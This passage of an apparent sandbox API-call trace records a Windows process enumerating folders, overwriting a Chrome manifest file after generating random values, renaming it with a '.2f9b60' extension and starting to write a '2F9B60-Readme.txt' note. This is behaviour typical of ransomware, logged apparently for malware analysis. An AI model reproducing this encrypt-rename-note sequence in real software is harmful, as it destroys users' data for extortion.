(_String1="WelcomeFax.tif", _String2=".") returned 1 [0154.486] wcscmp (_String1="WelcomeFax.tif", _String2="..") returned 1 [0154.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205c830 [0154.486] wcscpy (in: _Dest=0x4205c830, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" [0154.487] wcscat (in: _Dest=0x4205c830, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\" [0154.487] wcscat (in: _Dest=0x4205c830, _Source="WelcomeFax.tif" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" [0158.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0158.815] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0 [0158.815] FindClose (in: hFindFile=0x1cd9de50 | out: hFindFile=0x1cd9de50) returned 1 [0158.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21a10) returned 1 [0158.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2d10) returned 1 [0158.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a45c0) returned 1 Thread: id = 2496 os_tid = 0x1f74 [0154.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205cb50 [0154.493] wcscpy (in: _Dest=0x4205cb50, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0154.493] wcscat (in: _Dest=0x4205cb50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0154.493] wcscat (in: _Dest=0x4205cb50, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*" [0154.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0154.493] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9deb0 [0154.495] wcscmp (_String1=".", _String2=".") returned 0 [0154.495] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.495] wcscmp (_String1="..", _String2=".") returned 1 [0154.495] wcscmp (_String1="..", _String2="..") returned 0 [0154.495] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0154.495] wcscmp (_String1="enu-dsk", _String2=".") returned 1 [0154.495] wcscmp (_String1="enu-dsk", _String2="..") returned 1 [0154.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd658c0 [0154.495] wcscpy (in: _Dest=0x1cd658c0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0154.495] wcscat (in: _Dest=0x1cd658c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0154.495] wcscat (in: _Dest=0x1cd658c0, _Source="enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0158.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd658c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0158.818] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b89235, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b89235, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0158.818] wcscmp (_String1="MSTTSFrontendENU.dll", _String2=".") returned 1 [0158.818] wcscmp (_String1="MSTTSFrontendENU.dll", _String2="..") returned 1 [0158.818] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0158.818] wcscmp (_String1="MSTTSLoc.dll.mui", _String2=".") returned 1 [0158.818] wcscmp (_String1="MSTTSLoc.dll.mui", _String2="..") returned 1 [0158.818] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0158.818] FindClose (in: hFindFile=0x1cd9deb0 | out: hFindFile=0x1cd9deb0) returned 1 [0158.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0158.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cb50) returned 1 [0158.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508810) returned 1 Thread: id = 2497 os_tid = 0x1f78 [0154.498] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\58.0.3029.110.manifest")) returned 0x20 [0154.499] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest", dwFileAttributes=0x20) returned 1 [0154.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\58.0.3029.110.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7d0 [0154.500] GetFileSizeEx (in: hFile=0x7d0, lpFileSize=0x2d9ef7a0 | out: lpFileSize=0x2d9ef7a0*=226) returned 1 [0154.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9920 [0154.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd99b0 [0154.500] NtQuerySystemTime (in: CurrentTime=0x2d9ef660 | out: CurrentTime=0x2d9ef660*=132462177596266000) returned 0x0 [0154.500] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x6e0afcf3 [0154.500] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x182cf8c2 [0154.500] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x1ee3b1be [0154.500] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x73ef069 [0154.500] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x7c4816f [0154.500] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x782ebce8 [0154.500] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x52e0d503 [0154.500] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x73c908d0 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0xa0ba66d [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x2ba848f2 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x2f7214cf [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x29fa892f [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x93b9c7f [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x5ae2367a [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x6e2adeb9 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x1e580d8f [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x42bc6971 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x2a76daa6 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x53fd8063 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x277caa3d [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x4b96d874 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x36bea609 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x40f76050 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x4daa04f6 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x1a11d56 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x5130c009 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x58c93145 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x393c0774 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x3f5dbde8 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x8b05c77 [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0x3e6cbe7f [0154.501] RtlRandomEx (in: Seed=0x2d9ef650 | out: Seed=0x2d9ef650) returned 0xe19ddbb [0154.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd99e0 [0154.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0154.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9a10 [0154.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0154.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd99b0) returned 1 [0154.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0154.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0154.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4280ea60 [0154.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42812670 [0154.511] ReadFile (in: hFile=0x7d0, lpBuffer=0x4280ea60, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x2d9ef650, lpOverlapped=0x0 | out: lpBuffer=0x4280ea60*, lpNumberOfBytesRead=0x2d9ef650*=0xe2, lpOverlapped=0x0) returned 1 [0154.512] SetFilePointerEx (in: hFile=0x7d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.512] WriteFile (in: hFile=0x7d0, lpBuffer=0x42812670*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d9ef654, lpOverlapped=0x0 | out: lpBuffer=0x42812670*, lpNumberOfBytesWritten=0x2d9ef654*=0xe2, lpOverlapped=0x0) returned 1 [0162.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18d80 [0162.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18db0 [0162.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18db0) returned 1 [0162.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42812670) returned 1 [0162.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4280ea60) returned 1 [0162.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0162.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0162.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ced1de0 [0162.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced22e0 [0162.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0162.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18db0 [0162.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18db0) returned 1 [0162.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ced21f0 [0162.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e10 [0162.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e40 [0162.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18e40) returned 1 [0162.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0162.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced22e0) returned 1 [0162.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11e) returned 0x1cdb88c0 [0162.520] SetFilePointerEx (in: hFile=0x7d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.520] WriteFile (hFile=0x7d0, lpBuffer=0x1cdb88c0, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d9ef770, lpOverlapped=0x0) [0200.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc320 [0200.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc320) returned 1 [0200.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d8400 [0200.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc320 [0200.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc2f0 [0200.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc2f0) returned 1 [0200.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b7a31f0 [0200.562] sprintf (in: _Dest=0x1b7a31f0, _Format="%c%c" | out: _Dest="9e") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a31f2, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a31f4, _Format="%c%c" | out: _Dest="10") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a31f6, _Format="%c%c" | out: _Dest="17") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a31f8, _Format="%c%c" | out: _Dest="65") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a31fa, _Format="%c%c" | out: _Dest="f0") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a31fc, _Format="%c%c" | out: _Dest="97") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a31fe, _Format="%c%c" | out: _Dest="84") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a3200, _Format="%c%c" | out: _Dest="c0") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a3202, _Format="%c%c" | out: _Dest="59") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a3204, _Format="%c%c" | out: _Dest="f7") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a3206, _Format="%c%c" | out: _Dest="23") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a3208, _Format="%c%c" | out: _Dest="51") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a320a, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a320c, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a320e, _Format="%c%c" | out: _Dest="5c") returned 2 [0200.562] sprintf (in: _Dest=0x1b7a3210, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3212, _Format="%c%c" | out: _Dest="98") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3214, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3216, _Format="%c%c" | out: _Dest="a8") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3218, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a321a, _Format="%c%c" | out: _Dest="62") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a321c, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a321e, _Format="%c%c" | out: _Dest="a3") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3220, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3222, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3224, _Format="%c%c" | out: _Dest="76") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3226, _Format="%c%c" | out: _Dest="00") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3228, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a322a, _Format="%c%c" | out: _Dest="bb") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a322c, _Format="%c%c" | out: _Dest="95") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a322e, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3230, _Format="%c%c" | out: _Dest="eb") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3232, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3234, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3236, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3238, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a323a, _Format="%c%c" | out: _Dest="94") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a323c, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a323e, _Format="%c%c" | out: _Dest="f8") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3240, _Format="%c%c" | out: _Dest="9f") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3242, _Format="%c%c" | out: _Dest="17") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3244, _Format="%c%c" | out: _Dest="82") returned 2 [0200.563] sprintf (in: _Dest=0x1b7a3246, _Format="%c%c" | out: _Dest="97") returned 2 [0200.564] RtlInitAnsiString (in: DestinationString=0x2d9ef7e8, SourceString="9ebc101765f09784c059f72351cf0c5cf498a0a84e627ba3bcaa76004fbb95fbebc1e64e5a94c1f89f178297" | out: DestinationString="9ebc101765f09784c059f72351cf0c5cf498a0a84e627ba3bcaa76004fbb95fbebc1e64e5a94c1f89f178297") [0200.564] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d9ef7b8, SourceString="9ebc101765f09784c059f72351cf0c5cf498a0a84e627ba3bcaa76004fbb95fbebc1e64e5a94c1f89f178297", AllocateDestinationString=1 | out: DestinationString="9ebc101765f09784c059f72351cf0c5cf498a0a84e627ba3bcaa76004fbb95fbebc1e64e5a94c1f89f178297") returned 0x0 [0200.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431ee2e0 [0200.564] wcscat (in: _Dest=0x118610, _Source="9ebc101765f09784c059f7" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\9ebc101765f09784c059f7") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\9ebc101765f09784c059f7" [0200.564] wcscat (in: _Dest=0x118610, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\9ebc101765f09784c059f7.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\9ebc101765f09784c059f7.2f9b60" [0200.564] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\9ebc101765f09784c059f7.2f9b60", NtPathName=0x2d9ef790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\9ebc101765f09784c059f7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1ced0ac0 [0203.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0ac0) returned 1 [0203.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fd970) returned 1 [0203.936] NtQueryInformationFile (in: FileHandle=0x7d0, IoStatusBlock=0x2d9ef7f8, FileInformation=0x2d9ef808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d9ef7f8, FileInformation=0x2d9ef808) returned 0x0 [0203.937] NtSetInformationFile (FileHandle=0x7d0, IoStatusBlock=0x2d9ef7f8, FileInformation=0x2d9ef808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0209.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ee2e0) returned 1 [0209.472] FlushFileBuffers (hFile=0x7d0) returned 1 [0213.150] CloseHandle (hObject=0x7d0) returned 1 [0216.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ac630 [0216.152] wcscpy (in: _Dest=0x202ac630, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0216.153] wcscat (in: _Dest=0x202ac630, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0216.153] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0xffffffff [0219.565] CreateFileW (lpFileName="C:\\Program Files 